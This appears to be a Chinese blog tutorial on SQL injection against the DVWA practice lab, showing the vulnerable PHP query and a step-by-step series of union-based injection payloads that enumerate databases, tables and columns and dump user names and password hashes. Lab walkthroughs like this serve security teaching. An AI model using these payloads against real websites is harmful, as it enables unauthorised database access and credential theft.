DVWA親測SQL注入漏洞

介紹:

關於sql注入的基礎知識,我上篇文章也寫過了,這篇就用靶機的漏洞環境來實踐操作一下,所謂實踐出真理嘛,我們這次試用的漏洞平臺是DVWA,Github下載地址:DVWA
關於一下注入的基本知識或者姿勢,我會在實踐中詳解。

實驗:

LOW等級
先輸入1看一下
DVWA親測SQL注入漏洞
我們在加個單引號
在這裏插入圖片描述
這裏的搜索框爲什麼沒有顯示單引號呢?因爲被url編碼了
一般的url編碼其實就是那個字符的ASCII值得十六進制,再在前面加個%。
具體可以看URL編碼,這裏可以查到每個字符的url編碼,當然自己編程或者用該語言應該也有自帶的函數,去實現url編碼。
這裏說下sql注入中常見的url編碼:
空格是%20
單引號是%27
井號是%23(表註釋)
雙引號是%22
看報錯我們能看到,這是由' '兩個單引號擴起來的參數,看看源代碼
DVWA親測SQL注入漏洞
我們看

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"
$id = $_REQUEST[ 'id' ];

參數沒有經過任何的過濾....我們嘗試閉合單引號。
比如我們輸入id=1' or '1'='1
語句就變成了

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1';";

當然,我們也可以使用註釋來註釋後面的單引號
sql中註釋 單行可以使用 #(忽略) --(忽略),多行使用/ /
我們試試1' #
DVWA親測SQL注入漏洞
下面我們來利用漏洞獲取數據庫信息
大概步驟就是:
1.猜解所查詢的字段數目
2.獲取字段顯示位
3.通過顯示位獲取數據庫信息
4.獲取數據庫中的表名
5.獲取表中的列名(字段)
6.導出數據庫中的數據
7.驗證導出數據的有效性
猜解所查詢的字段數
方式1: order by num
若num數值超過了字段數,則查詢會報錯,從而判斷出select語句所查詢字段的數目
輸入:
1' order by 2 #
在這裏插入圖片描述
1' order by 3 #
在這裏插入圖片描述
報錯,說明數據表中只有兩個字段
方式二:union select 1,2,3...
若union select後的數字位(不一定是1/2/3,只要有數字佔位即可)與實際查詢的字段位不完全對應時,查詢就會報錯,直至調整到不報錯時的佔位個數,從而判斷實際查詢的字段數
輸入:union select 1,2 #
DVWA親測SQL注入漏洞
輸入:union select 1,2.3 #
在這裏插入圖片描述
獲取字段的顯示位
1' union select 1,2 #
在這裏插入圖片描述
既然顯示位顯示的是我們設定數值,那麼我們就通過顯示位獲取數據,輸出出來
通過顯示位獲取數據庫信息
此處會用到Mysql注入常用的一些函數,可參看此文==>SQL注入常用的內置函數整理(以MySql爲例)
獲取當前連接的數據庫名稱、DBMS的版本(Mysql的版本)
1' union select database(),version() #
在這裏插入圖片描述
獲取當前連接數據庫的用戶
1' union select 1,user() #
在這裏插入圖片描述
獲取服務器的操作系統、數據庫的存儲目錄
1' union select @@version_compile_os,@@datadir #
在這裏插入圖片描述
獲取數據庫中所有數據庫名
在此之前,科普一下數據庫的知識
mysql的數據庫information_schema,他是系統數據庫,安裝完就有,記錄是當前數據庫的數據庫,表,列,用戶權限等信息
information_schema.schemata 記錄所有的數據庫名稱
Information_schema.tables: 記錄表名信息的表(也有數據庫名字段)
Information_schema.columns: 記錄列名信息的表(數據庫名、表名、字段名)
1' union select 1,schema_name from information_schema.schemata # 可能是權限問題,沒有全部爆出來
DVWA親測SQL注入漏洞
去數據庫執行是這樣的
DVWA親測SQL注入漏洞
我們發現數據庫dvwa正是我們想要的,因此,通過此數據庫,去爆表
獲取當前連接數據庫(dvwa)中的所有表
1' union select 1,table_name from information_schema.tables where table_schema="dvwa" #
where .. 後面表示的限制的條件,只查數據庫名是dvwa的表
DVWA親測SQL注入漏洞
獲取表中的列名(字段)
1' union select 1,column_name from information_schema.columns where table_name="users" #
DVWA親測SQL注入漏洞
這樣輸出有點亂,我們使用group_concat()將他們簡單的輸出出來
1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #
DVWA親測SQL注入漏洞
如果你覺得有點擠,看的不舒服的話,你可以
1' union select 1,group_concat(column_name,' ') from information_schema.columns where table_name="users" #
DVWA親測SQL注入漏洞
這樣是不是就明顯多了?關於group_concat(),還有concat()可以自行百度學習
知道了數據庫的表名、字段名就可以爆表了
爆表
1' union select 1,concat(user,'--',password) from users #
DVWA親測SQL注入漏洞
還有其他更多的導出操作,一些導出函數的使用,可以自行嘗試
驗證導出數據的有效性
在這裏插入圖片描述
OK!!
Medium
只是閉合方式不同
DVWA親測SQL注入漏洞
其餘操作步驟與上差不多
high
DVWA親測SQL注入漏洞
想辦法閉合,其他就自然好起來了!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章